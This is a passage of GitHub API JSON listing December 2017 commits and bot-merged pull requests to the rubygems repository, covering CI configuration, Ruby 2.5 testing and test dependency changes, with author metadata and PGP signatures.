,"gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"514f1da96bbd3cbf88eb86117adc881ff89c79f5","url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","html_url":"https://github.com/rubygems/rubygems/commit/514f1da96bbd3cbf88eb86117adc881ff89c79f5"},{"sha":"18b940483b61a446d0bd7d9b449cb35781438e11","url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11","html_url":"https://github.com/rubygems/rubygems/commit/18b940483b61a446d0bd7d9b449cb35781438e11"}]},{"sha":"514f1da96bbd3cbf88eb86117adc881ff89c79f5","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-27T08:31:57Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-27T08:31:57Z"},"message":"Auto merge of #2122 - MSP-Greg:appveyor_new_rake, r=hsbt\n\nUpdate appveyor.yml, add new rakefile for appveyor testing\n\n# Description:\n\nUpdate Appveyor CI to use a simplified Rakefile, quickens testing, etc. Also, uses minitest currently loaded in respective Appveyor builds.\n______________\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"3f5870703e5ce99bb8f6d05f8de43dcb5100792a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3f5870703e5ce99bb8f6d05f8de43dcb5100792a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","html_url":"https://github.com/rubygems/rubygems/commit/514f1da96bbd3cbf88eb86117adc881ff89c79f5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b25411fc1012c89fd1c409c7e5cc867b85247c29","url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","html_url":"https://github.com/rubygems/rubygems/commit/b25411fc1012c89fd1c409c7e5cc867b85247c29"},{"sha":"4ced51dd8753307deda1dda71dd2f77cb9ef02ee","url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","html_url":"https://github.com/rubygems/rubygems/commit/4ced51dd8753307deda1dda71dd2f77cb9ef02ee"}]},{"sha":"4ced51dd8753307deda1dda71dd2f77cb9ef02ee","commit":{"author":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-12-26T20:57:02Z"},"committer":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-12-27T01:25:24Z"},"message":"Update test files for stability when run random","tree":{"sha":"7e9f9976eb55d3cfc93bfd64096e4a06d05fb506","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7e9f9976eb55d3cfc93bfd64096e4a06d05fb506"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","html_url":"https://github.com/rubygems/rubygems/commit/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"50b6501e8e229503674c0957aac5157b764a58be","url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be","html_url":"https://github.com/rubygems/rubygems/commit/50b6501e8e229503674c0957aac5157b764a58be"}]},{"sha":"b25411fc1012c89fd1c409c7e5cc867b85247c29","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T22:37:56Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T22:37:56Z"},"message":"Auto merge of #2130 - rubygems:seg-travis-2-5, r=hsbt\n\n[Travis] Test against Ruby 2.5\n\n# Description:\n\nSince Ruby 2.5 was released yesterday, we should test against it!","tree":{"sha":"e1afe8992cb346f18cd0b83f4aa93130e5d7586c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1afe8992cb346f18cd0b83f4aa93130e5d7586c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","html_url":"https://github.com/rubygems/rubygems/commit/b25411fc1012c89fd1c409c7e5cc867b85247c29","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503"},{"sha":"f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","html_url":"https://github.com/rubygems/rubygems/commit/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6"}]},{"sha":"50b6501e8e229503674c0957aac5157b764a58be","commit":{"author":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-12-26T20:56:11Z"},"committer":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-12-26T20:56:11Z"},"message":"Update Rakefile & appveyor.yml","tree":{"sha":"6fceabddf057ac6010f5e62180f28fbec7258a1b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6fceabddf057ac6010f5e62180f28fbec7258a1b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/50b6501e8e229503674c0957aac5157b764a58be","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be","html_url":"https://github.com/rubygems/rubygems/commit/50b6501e8e229503674c0957aac5157b764a58be","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503"}]},{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T08:25:11Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T08:25:11Z"},"message":"Auto merge of #2131 - rubygems:relax-minitest5, r=hsbt\n\nRelax minitest version for 5.\n\nnext step of https://github.com/rubygems/rubygems/pull/2118","tree":{"sha":"42443d8da2b45d528e541e0e6317cf8b910d6f32","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/42443d8da2b45d528e541e0e6317cf8b910d6f32"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"1def9dc0230d736922da2b17b85dfcf176fe27c0","url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","html_url":"https://github.com/rubygems/rubygems/commit/1def9dc0230d736922da2b17b85dfcf176fe27c0"},{"sha":"2e18d6557a05440706b4e8cf769675b8846aee85","url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85","html_url":"https://github.com/rubygems/rubygems/commit/2e18d6557a05440706b4e8cf769675b8846aee85"}]},{"sha":"1def9dc0230d736922da2b17b85dfcf176fe27c0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T07:45:09Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T07:45:09Z"},"message":"Auto merge of #2132 - rubygems:remove-zentest, r=hsbt\n\nRemove zentest from dev dependency.\n\nWe should make small rubygems''s dependencies.","tree":{"sha":"d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","html_url":"https://github.com/rubygems/rubygems/commit/1def9dc0230d736922da2b17b85dfcf176fe27c0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"},{"sha":"8ecb8b992fcf0678fccaf6ccbdc5522aad167167","url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","html_url":"https://github.com/rubygems/rubygems/commit/8ecb8b992fcf0678fccaf6ccbdc5522aad167167"}]},{"sha":"8ecb8b992fcf0678fccaf6ccbdc5522aad167167","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:54Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:54Z"},"message":"Update manifest for .autotest","tree":{"sha":"d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB7coACgkQ+c8TQXJk\n+sI1oQgAgBKzyNssMuw814sYwmn4eqcgxraakK+rW6ZEATkpYTY4rVv95HsSczNB\nfKU/Lh5zMi85PuhP8PkoosbkqdT2mB8btZSdaVZ/cXWxNrmHodDQIIfFCuP0DwQI\nvEOEoM9SQvGrwp/8W88lwlgdUXAo64XQ9vDF+8V7qV7+fRa5FUqNWRYC0oHVjfqJ\n8fdZwh6ZkNYP9Nar6ZY5vUK1MdGnJ4jh3ycJowTgiQd3ZvP5TvaZsIJ66GvJnj+K\n9v5bk/u7zCEg09yFK32+MCz01jYIVUWgatj+pIxDB+iKGlII2L2u5eovwqxBcbx+\nnH6aR+Ok4FrXCu7byLotWPiwcL9ABQ==\n=8PRS\n-----END PGP SIGNATURE-----","payload":"tree d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1\nparent bfb2b1a44a891bc61e7671b682b238c83e8d38be\nauthor SHIBATA Hiroshi 1514270154 +0900\ncommitter SHIBATA Hiroshi 1514270154 +0900\n\nUpdate manifest for .autotest\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","html_url":"https://github.com/rubygems/rubygems/commit/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bfb2b1a44a891bc61e7671b682b238c83e8d38be","url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","html_url":"https://github.com/rubygems/rubygems/commit/bfb2b1a44a891bc61e7671b682b238c83e8d38be"}]},{"sha":"bfb2b1a44a891bc61e7671b682b238c83e8d38be","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:25Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:25Z"},"message":"Removed ZenTest from dev dependency","tree":{"sha":"21d4c8593773860f4736ff5e2ff706c0eae24457","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/21d4c8593773860f4736ff5e2ff706c0eae24457"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB7a0ACgkQ+c8TQXJk\n+sJNhwf/eyFuD8GBJlGiZwOwbLv3y6WJLQAmm/THresbEIGMs++O3D9zWPEAGuJe\nl9FHvwzbDm9WUoTPWATRJDzVUGK9/zhdrrFeHVvT8WN8G/dU2YHJ9K2Ab1gjF5lZ\nXMz1qT4kkrgdtP0RUivE0oEdPgyMzF90lxBR/FmbzfM8OWXFzL+q9zQhMxLsdjRV\n4SAejLrEl6tM/nQ4rwJMXDfHsez3LZuOuUWCEgU9ygi6YJp+v3U7qtW4EfSKD7Ws\nIuZZCtdXUZv1xacBF2FnaV8/N4E75HEASThR5B97wNSM17ei90ZpLOhviVdYSSyx\nMwl+g4Dx4xpRpqyzvgV8tzwk9NpW8Q==\n=YDhV\n-----END PGP SIGNATURE-----","payload":"tree 21d4c8593773860f4736ff5e2ff706c0eae24457\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor SHIBATA Hiroshi 1514270125 +0900\ncommitter SHIBATA Hiroshi 1514270125 +0900\n\nRemoved ZenTest from dev dependency\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","html_url":"https://github.com/rubygems/rubygems/commit/bfb2b1a44a891bc61e7671b682b238c83e8d38be","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}]},{"sha":"2e18d6557a05440706b4e8cf769675b8846aee85","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:16:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:16:49Z"},"message":"Relax minitest version for 5.","tree":{"sha":"60b419f7eb748f8a16299d84a57fc78e18088bbd","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/60b419f7eb748f8a16299d84a57fc78e18088bbd"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2e18d6557a05440706b4e8cf769675b8846aee85","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 